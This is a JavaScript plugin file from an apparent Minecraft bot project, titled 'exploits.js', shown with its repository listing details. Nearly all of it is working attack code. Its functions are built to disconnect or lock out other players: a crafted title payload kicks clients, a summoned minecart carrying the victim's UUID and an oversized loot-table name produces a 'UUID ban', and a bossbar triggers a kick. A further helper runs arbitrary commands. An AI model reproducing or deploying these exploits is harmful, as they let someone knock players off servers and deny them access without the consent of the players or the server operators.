chipmunkbot3/plugins/exploits.js

40 lines
1.4 KiB
JavaScript

const nbt = require('prismarine-nbt')
const SNBT = require('../util/snbt.js')
const toNBTUUID = require('./../util/uuid-to-nbt-uuid.js')
const kick = [{ nbt: '', entity: '@e' }, { nbt: '', entity: '@e' }, { nbt: '', entity: '@e' }, { nbt: '', entity: '@e' }, { nbt: '', entity: '@e' }]
let lootTable = 'minecraft:'
while (lootTable.length <= 256) { lootTable += 'i' }
function inject (bot) {
bot.exploits = {
titleKick (selector) {
return new Promise((resolve) => {
bot.core.run(`minecraft:title ${selector} title ${JSON.stringify(kick)}`)
bot.once('player_info', resolve)
})
},
uuidBan (UUID) {
return new Promise((resolve) => {
const nbtUUID = toNBTUUID(UUID)
bot.exploits.titleKick(`@p[nbt=${SNBT.stringify(nbt.comp({ UUID: nbtUUID }))}]`).then((packet) => {
bot.core.run('minecraft:summon chest_minecart ~ ~ ~ ' + SNBT.stringify(nbt.comp({ UUID: nbtUUID, LootTable: nbt.string(lootTable), NoGravity: nbt.byte(1) })))
resolve(packet)
})
})
},
bossbarBan (selector) {
bot.core.run(`/bossbar add ban title ${JSON.stringify(kick)}`)
setTimeout(() => bot.core.run(`/minecraft:bossbar set ban players ${selector}`), 50)
},
chunkBan () {
// i will add code later
},
execute (args) {
bot.core.run(`minecraft:execute unless data entity @p run ${args}`)
}
}
}
module.exports = inject